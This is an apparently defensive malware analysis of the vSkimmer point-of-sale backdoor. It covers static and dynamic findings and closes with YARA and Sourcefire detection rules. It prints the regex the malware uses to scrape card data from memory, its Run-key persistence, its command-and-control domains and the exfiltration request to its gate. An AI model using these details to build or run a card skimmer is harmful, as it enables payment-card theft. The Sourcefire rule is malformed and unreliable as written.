Backdoor: Win32/Hesetox.A: vSkimmer POS Malware Analysis

By Author

Source: VirusShare
Malware Family: RAM Scraper
Static Analysis Tools: pestudio, CFF Explorer, PEID, BinText, IDA Pro
Dynamic Analysis Tools: pexplorer, ProcMon, RegShot, ProcDump, Autoruns, Wireshark, Sandboxie, Comodo

Reports:
(1) Comodo:
http://camas.comodo.com/cgi-bin/submit?file=e8bd8aba01ebbe2b9afa5b8c3d56a27363687b5b6963ce593b94a6fd2d831e2a

(2) VirusTotal:
https://www.virustotal.com/en/file/e8bd8aba01ebbe2b9afa5b8c3d56a27363687b5b6963ce593b94a6fd2d831e2a/analysis/1451089742

I . Static Analysis:

Target machine: Intel 386 or later processors and compatible processors
Compilation Timestamp: 2012-12-21 23:30:50
Entry Point: 0x00009D12
File type: Win32 EXE
Number of Sections: 5

MD5: 53950faf49ccb19b83b786eadedfe591
SHA256: e8bd8aba01ebbe2b9afa5b8c3d56a27363687b5b6963ce593b94a6fd2d831e2a

File size: 224.5 KB (229888 bytes)

Detection ratio: 47 / 54

PE imports:

[+] ADVAPI32.dll
[+] KERNEL32.DLL
[+] SHELL32.dll
[+] USER32.dll
[+] WS2_32.dll
[+] Urlmon.dll

Red Flags:
The file transfers control to a Debugger.
The count (13) of Authorization functions reached the maximum (1) threshold.
The count (9) of Registry functions reached the maximum (1) threshold.
The count (15) of Memory Management functions reached the maximum (1) threshold.
The count (5) of Tool Help functions reached the maximum (1) threshold.
The count (3) of Error Handling functions reached the maximum (1) threshold.
The count (7) of Debugging functions reached the maximum (1) threshold.
The count (9) of Console functions reached the maximum (1) threshold.
The count (11) of Dynamic-Link Library functions reached the maximum (1) threshold.

The count (35) of Process and Thread functions reached the maximum (1) threshold.
The count (5) of SEH functions reached the maximum (1) threshold.
The count (19) of File Management functions reached the maximum (1) threshold.
The count (134) of blacklisted strings reached the maximum (30) threshold.
The count (8) of deprecated imported functions reached the maximum (5) threshold.
The count (78) of imported blacklisted functions reached the maximum (1) threshold.
The first section (name:.text) is writable.
The last section (name:.reloc) is executable.
The count (2) of Writable and Executable sections reached the maximum (0) threshold.
The file contains self-modifying code.
The count (2) of executable sections reached the maximum (1) threshold.
The file references a URL (www.wrotjywvpzpwectb.in) unknown by virustotal.
The count (7) of antidebug imported functions reached the maximum (1) threshold.
The file modifies the registry.
The file references child Processes.
The file opts for Address Space Layout Randomization (ASLR) as mitigation technique.
The file checksum (0x00000000) is invalid.
The file has no Version.
The file is not signed with a Digital Certificate.
*The file references 1 MIME64 encoding string(s).

Here some interesting strings:

ascii	64	.text:0x1AA1D	x	ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
ascii	45	.text:0x1BCDC	x	SOFTWARE\Microsoft\Windows\CurrentVersion\Run
ascii	116	.text:0x1BD0A	x	SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
ascii	11	.text:0x1BDB8	x	svchost.exe
ascii	7	.text:0x1BDC4	x	svchost
ascii	16	.text:0x1BF1C	x	SeDebugPrivilege
ascii	13	.text:0x1C1E8	x	compliant.dat
ascii	12	.text:0x1C229	x	explorer.exe
ascii	10	.text:0x1C239	x	ctfmon.exe
ascii	12	.text:0x1C247	x	mscorsvw.exe
ascii	7	.text:0x1C255	x	alg.exe
ascii	11	.text:0x1C260	x	wscntfy.exe
ascii	11	.text:0x1C26C	x	spoolsv.exe
ascii	9	.text:0x1C278	x	lsass.exe
ascii	12	.text:0x1C282	x	services.exe
ascii	12	.text:0x1C291	x	winlogon.exe
ascii	9	.text:0x1C2A1	x	csrss.exe
ascii	8	.text:0x1C2AE	x	smss.exe
ascii	6	.text:0x1C2B9	x	System
ascii	8	.text:0x1C2C3	x	dmpz.log
ascii	29	.text:0x1C39F	x	User-Agent: PCICompliant/3.33
ascii	7	.text:0x1C473	x	FlsFree
ascii	11	.text:0x1CF44	x	FlsSetValue
ascii	11	.text:0x1CF50	x	FlsGetValue
ascii	8	.text:0x1CF5C	x	FlsAlloc
ascii	23	.rdata:0x1D084	x	GetProcessWindowStation
ascii	24	.rdata:0x1D09C	x	GetUserObjectInformation
ascii	18	.rdata:0x1D0B6	x	GetLastActivePopup
ascii	7	.rdata:0x1E949	x	chinese
ascii	6	.rdata:0x1ECF1	x	system
ascii	11	.rdata:0x1EF25	x	Broken pipe
ascii	17	.rdata:0x1F078	x	Permission denied

ascii	48	.text:0x1C1F6	-	\;?[3-9]{1}[0-9]{12,19}[D=\u0061][0-9]{10,30}\??
ascii	10	.text:0x1C2E1	-	KARTOXA007
ascii	4	.text:0x1C2EF	-	&zy=
ascii	4	.text:0x1C359	-	upd
ascii	4	.text:0x1C379	-	dlx
ascii	5	.text:0x1C385	-	<cmd>
ascii	6	.text:0x1C392	-	</cmd>
ascii	9	.text:0x1C3C0	-	HTTP/1.1

ascii	11	.text:0x1BC99	-	MachineGuid
ascii	31	.text:0x1BCA8	-	SOFTWARE\Microsoft\Cryptography
ascii	19	.text:0x1BCC8	-	PCI Compliant SCard
ascii	15	.text:0x1BD85	-	%s:*:Enabled:%s
ascii	4	.text:0x1BD98	-	open
ascii	5	.text:0x1BD9D	-	%s\%s
ascii	15	.text:0x1BDA6	-	Heistenberg2337

Here is the Regular Expression that extracts credit card data from memory:

;?[3-9]{1}[0-9]{12,19}[D=\\u0061][0-9]{6,20}

II. Dynamic Analysis:

Whitelisted the following processes during the RAM scraping function:

```
.rdata:0041D7D0 aCorruptedRegex db 'corrupted regex pattern',0 ; DATA XREF: .text:00406B5B↑o
.rdata:0041D7E8 aCompliant_dat  db 'compliant.dat',0     ; DATA XREF: sub_40747F+135↑o
.rdata:0041D7E8                                         ; sub_4079EB+EA↑o
.rdata:0041D7F6                 align 4
.rdata:0041D7F8 a?391091219DU00 db '\;?[3-9]{1}[0-9]{12,19}[D=\u0061][0-9]{10,30}\??',0
.rdata:0041D7F8                                         ; DATA XREF: sub_40747F+D3↑o
.rdata:0041D829                 align 4
.rdata:0041D82C aExplorer_exe   db 'explorer.exe',0     ; DATA XREF: sub_40773D+172↑o
.rdata:0041D839                 align 4
.rdata:0041D83C aCtfmon_exe     db 'ctfmon.exe',0       ; DATA XREF: sub_40773D+15B↑o
.rdata:0041D847                 align 4
.rdata:0041D848 aMscorsvw_exe   db 'mscorsvw.exe',0     ; DATA XREF: sub_40773D+144↑o
.rdata:0041D855                 align 4
.rdata:0041D858 aAlg_exe        db 'alg.exe',0          ; DATA XREF: sub_40773D+12D↑o
.rdata:0041D860 aWscntfy_exe    db 'wscntfy.exe',0      ; DATA XREF: sub_40773D+116↑o
.rdata:0041D86C aSpoolsv_exe    db 'spoolsv.exe',0      ; DATA XREF: sub_40773D+FB↑o
.rdata:0041D878 aLsass_exe      db 'lsass.exe',0        ; DATA XREF: sub_40773D+C5↑o
.rdata:0041D882                 align 4
.rdata:0041D884 aServices_exe   db 'services.exe',0     ; DATA XREF: sub_40773D+AA↑o
.rdata:0041D891                 align 4
.rdata:0041D894 aWinlogon_exe   db 'winlogon.exe',0     ; DATA XREF: sub_40773D+8F↑o
.rdata:0041D8A1                 align 4
.rdata:0041D8A4 aCsrss_exe      db 'csrss.exe',0        ; DATA XREF: sub_40773D+74↑o
```

Created mutex “Heistenberg2337”

```
.text:0040173C                  add     esp, 20h
.text:0040173F                  push    offset aHeistenberg233 ; "Heistenberg2337"
.text:00401744                  push    esi             ; bInitialOwner
.text:00401745                  push    esi             ; lpMutexAttributes
.text:00401746                  call    ds:CreateMutexA
```

Launched the following processes:

- **e8bd8aba01ebbe2b9afa5b8c3d56a27363687b5b6963ce593b94a6fd2d831e2a.exe** 1332
  - **svchost.exe** 1912
- **Explorer.EXE** 1420
  - **GrooveMonitor.exe** 1640

ctfmon.exe 1652

Established drive name “KARTOXA007” and filename for the data as “dmpz.log”:

```
.text:00407A60                  call    ds:GetVolumeInformationA
.text:00407A66                  mov     esi, offset aKartoxa007 ; "KARTOXA007"
.text:00407A6B                  lea     edi, [ebp+var_18]
.text:00407A6E                  movsd
.text:00407A6F                  movsd
.text:00407A70                  lea     eax, [ebp+var_18]
.text:00407A73                  movsw
.text:00407A75                  push    eax
.text:00407A76                  lea     eax, [ebp+VolumeNameBuffer]
.text:00407A7C                  push    eax
.text:00407A7D                  movsb
.text:00407A7E                  call    sub_409F60
.text:00407A83                  pop     ecx
.text:00407A84                  pop     ecx
.text:00407A85                  test    eax, eax
.text:00407A87                  jnz     loc_407B13
.text:00407A8D                  lea     eax, [ebp+var_11C]
.text:00407A93                  push    ebx
.text:00407A94                  push    eax
.text:00407A95                  call    sub_40D6A0
.text:00407A9A                  lea     eax, [ebp+var_11C]
.text:00407AA0                  push    offset aDmpz_log ; "dmpz.log"
.text:00407AA5                  push    eax
```

Established persistence in the following hive as “PCICompliant SCard”**:**
SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Anti-Reverse Engineering

details
.reloc with unusual entropies 7.57915704423
source
Static Parser

Dropped files

details
"system.ini" has type "ASCII text, with CRLF line terminators"
source
Dropped File

Network Related

Found potential URL in binary/memory

details
Pattern match: "www.wrotjywvpzpwectb.in"
Pattern match: "http://mumbaibuildersforum.com/images/logo.gif"
Pattern match: "http://ucakambulans-tr.com/logo.gif"

Pattern match: "http://gadahospital.com/images/button.gif"
Pattern match: "http://www.revaengg.com/images/logo.gif"
Pattern match: "http://ambulansfabrikasi.com/images/button.gif"
Pattern match: "http://sizinajansiniz.com/logo.gif"
Pattern match: "http://arslanzeminmakina.com/images/button.gif"
Pattern match: "http://theadhyayana.in/image/logo.gif"
Pattern match: "http://www.sanalpetrol.com/logo.gif"
Pattern match: "http://aircharge.in/images/logo.gif"
source
String

Contacts domains

details
"mumbaibuildersforum.com"
"ucakambulans-tr.com"
"gadahospital.com"
"www.revaengg.com"
"sizinajansiniz.com"
"arslanzeminmakina.com"
"theadhyayana.in"
"www.sanalpetrol.com"
"www.turkteknoloji.net"
"aircharge.in"
"ambulansfabrikasi.com"
source
Network Traffic

Uses a User Agent typical for browsers, although no browser was ever launched

details
Found user agent(s): Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50728) and “PCICompliant/3.33nt”
source
Network Traffic

Sends UDP traffic

details
"UDP connection to 200.149.51.210"
"UDP connection to 92.105.5.6"
"UDP connection to 148.120.209.123"
"UDP connection to 201.87.155.227"
"UDP connection to 169.215.181.213"
"UDP connection to 221.125.48.10"
"UDP connection to 201.244.62.163"
"UDP connection to 157.88.233.221"

DNS query:

64.4.10.33:123
www.wrotjywvpzpwectb.in IN A +

HTTP query:

www.wrotjywvpzpwectb.in GET /api/process.php?
xy=ZmRlOWE4NTctNjhkNS00Y2Q5LWI1YWUtNmFlMmE0OGY1MTFifGF6fDIuMS4xMnw1LjEuMnxTQU5EQk9YQXxVc2Vy
HTTP/1.1

Suspicious and POS scraping APIs

details
CopyFileA
GetModuleFileNameA
GetModuleHandleA
Sleep
CheckRemoteDebuggerPresent
IsDebuggerPresent
ReadProcessMemory
Process32Next
OpenProcess
Process32First
CreateToolhelp32Snapshot
GetDriveTypeA
CreateFileA
GetVersionExA
GetComputerNameA
CreateFileW
GetCommandLineA
ExitThread
CreateThread
GetProcAddress
GetModuleHandleW
WriteFile
GetModuleFileNameW
GetStartupInfoW
GetTickCount
TerminateProcess
UnhandledExceptionFilter
LoadLibraryW
RegCreateKeyExA
OpenProcessToken
GetUserNameA
RegOpenKeyA
RegCloseKey
ShellExecuteA
URLDownloadToFileA
WSAStartup (Ordinal #115)
socket (Ordinal #23)
connect (Ordinal #4)
send (Ordinal #19)
recv (Ordinal #16)
closesocket (Ordinal #3)

III. Yara Signature:

```
rule Backdoor_Win32_vSkimmer_POS : POS_BDR
{
meta:
        author = "Vitali Kremez"
        date = "2015-12-26"
        description = "Detected vSkimmer POS"
        hash0 = "53950faf49ccb19b83b786eadedfe591"
        sample_filetype = "exe"

strings:
        $mutex = “Heistenberg2337”
        $string0 = "KARTOXA007"
        $string1 = “dmpz.log"
        $string2 = "August"
        $string3 = "www.wrotjywvpzpwectb.in"
        $string4 = "$basic_ofstream@DU"
        $string5 = "alg.exe"
        $string6 = "FDPjGS"
        $string7 = "gjP$k-"
        $string8 = " SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
        $string9 = "User-Agent: PCICompliant/3.33"
        $string10 = "F\\PjMS"
        $string11 = "Ezeb]z"
        $string12 = "j h (B"
        $string13 = "spanish-peru"
        $string14 = "UTF-16LE"
        $string15 = "$basic_streambuf@DU"
        $string16 = "pL $T,"
        $string17 = "This indicates a bug in your application." wide
condition:
        6 of them and all of ($mutex*) and filesize<225KB
}
```

Sourcefire Rule:

alert tcp any any -> any any (msg:" vSkimmer POS Backdoor Alert"; flow:to_server,established; content:”/api/process.php?xy=”; “www.wrotjywvpzpwectb.in”; “mumbaibuildersforum.com”; “ucakambulans-tr.com”; "gadahospital.com"; "www.revaengg.com"; "sizinajansiniz.com"; "arslanzeminmakina.com"; "theadhyayana.in"; “www.sanalpetrol.com”; “www.turkteknoloji.net”;"aircharge.in"; “ambulansfabrikasi.com”; “PCICompliant/3.33nt”; noncase; pcre:"/.*(portal1/gateway.php).*/”; pcre: “/.*(?xy=).*/";classtype: Trojan-activity)

IV: vSkimmer Profile:

Registry Persistence: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Mutex: Heistenberg2337
Gate Path: www.wrotjywvpzpwectb.in via /api/process.php?xy=

Flashdrive: KARTOXA007
Logs File: dmpz.log
ProcessName: svchost
